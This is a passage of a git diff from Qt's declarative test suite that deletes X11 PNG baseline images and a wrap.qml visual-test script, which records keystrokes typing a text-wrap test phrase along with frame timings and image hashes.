a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.4.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.4.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.5.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.5.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.6.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.6.png deleted file mode 100644 index ec65f49..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.qml b/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.qml deleted file mode 100644 index 4ff00f4..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.qml +++ /dev/null @@ -1,2467 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 33554432 - text: "54" - autorep: false - count: 1 - } - Frame { - msec: 32 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 16777248 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 48 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 64 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 80 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 96 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 72 - modifiers: 0 - text: "68" - autorep: false - count: 1 - } - Frame { - msec: 112 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 128 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 144 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 160 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 176 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 192 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 72 - modifiers: 0 - text: "68" - autorep: false - count: 1 - } - Frame { - msec: 208 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 224 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 240 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 256 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 272 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 288 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 304 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 320 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 336 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 352 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 368 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 384 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 400 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 416 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 432 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 448 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 464 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 480 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 496 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 512 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 528 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Key { - type: 7 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 560 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 576 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 592 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 608 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 624 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 640 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 656 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 672 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 688 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 704 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 720 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 736 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 752 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 768 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 784 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 800 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 816 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 832 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 848 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 864 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 880 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 896 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 912 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 928 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 944 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 960 - image: "wrap.0.png" - } - Frame { - msec: 976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1072 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 1088 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1104 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1120 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1136 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1152 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1168 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1184 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 1200 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1216 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1232 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1248 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1264 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1280 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1296 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1312 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1328 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1344 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1360 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1376 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1392 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1408 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1424 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1440 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1456 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1472 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1488 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1504 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1520 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1536 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1552 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 72 - modifiers: 0 - text: "68" - autorep: false - count: 1 - } - Frame { - msec: 1568 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1584 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1600 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1616 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1632 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Key { - type: 7 - key: 72 - modifiers: 0 - text: "68" - autorep: false - count: 1 - } - Frame { - msec: 1648 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1664 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1680 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1696 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1712 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1728 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1744 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1760 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 1776 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1792 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1808 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1824 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1840 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1856 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1872 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1888 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1904 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1920 - image: "wrap.1.png" - } - Frame { - msec: 1936 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1952 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1968 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 2064 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 2080 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2096 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2112 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 2128 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2144 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2160 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2176 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2192 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2208 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 88 - modifiers: 0 - text: "78" - autorep: false - count: 1 - } - Frame { - msec: 2224 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2240 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2256 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2272 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2288 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 2304 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 88 - modifiers: 0 - text: "78" - autorep: false - count: 1 - } - Frame { - msec: 2320 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2336 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2352 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2368 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2384 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 2400 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2416 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2432 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2448 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2464 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2480 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 2496 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2512 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2528 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2544 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 2560 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2576 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2592 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2608 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2624 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2640 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 68 - modifiers: 0 - text: "64" - autorep: false - count: 1 - } - Frame { - msec: 2656 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2672 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2688 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2704 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 68 - modifiers: 0 - text: "64" - autorep: false - count: 1 - } - Frame { - msec: 2720 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2736 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2752 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 2768 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2784 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2800 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2816 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2832 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Key { - type: 7 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 2848 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2864 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2880 - image: "wrap.2.png" - } - Frame { - msec: 2896 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2912 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2928 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 2944 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2960 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3072 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3088 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 87 - modifiers: 0 - text: "77" - autorep: false - count: 1 - } - Frame { - msec: 3104 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3120 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3136 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3152 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3168 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 87 - modifiers: 0 - text: "77" - autorep: false - count: 1 - } - Frame { - msec: 3184 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3200 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3216 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3232 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3248 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 3264 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3280 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3296 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 3312 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3328 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3344 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 3360 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3376 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3392 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3408 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3424 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 3440 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3456 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3472 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 80 - modifiers: 0 - text: "70" - autorep: false - count: 1 - } - Frame { - msec: 3488 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3504 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3520 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3536 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 80 - modifiers: 0 - text: "70" - autorep: false - count: 1 - } - Frame { - msec: 3552 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3568 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 3584 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3600 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3616 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3632 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3648 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3664 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 3680 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 3696 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3712 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3728 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3744 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3760 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 3776 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3792 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3808 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3824 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3840 - image: "wrap.3.png" - } - Frame { - msec: 3856 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3872 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3888 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3904 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 3920 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3936 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3952 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3968 - hash: 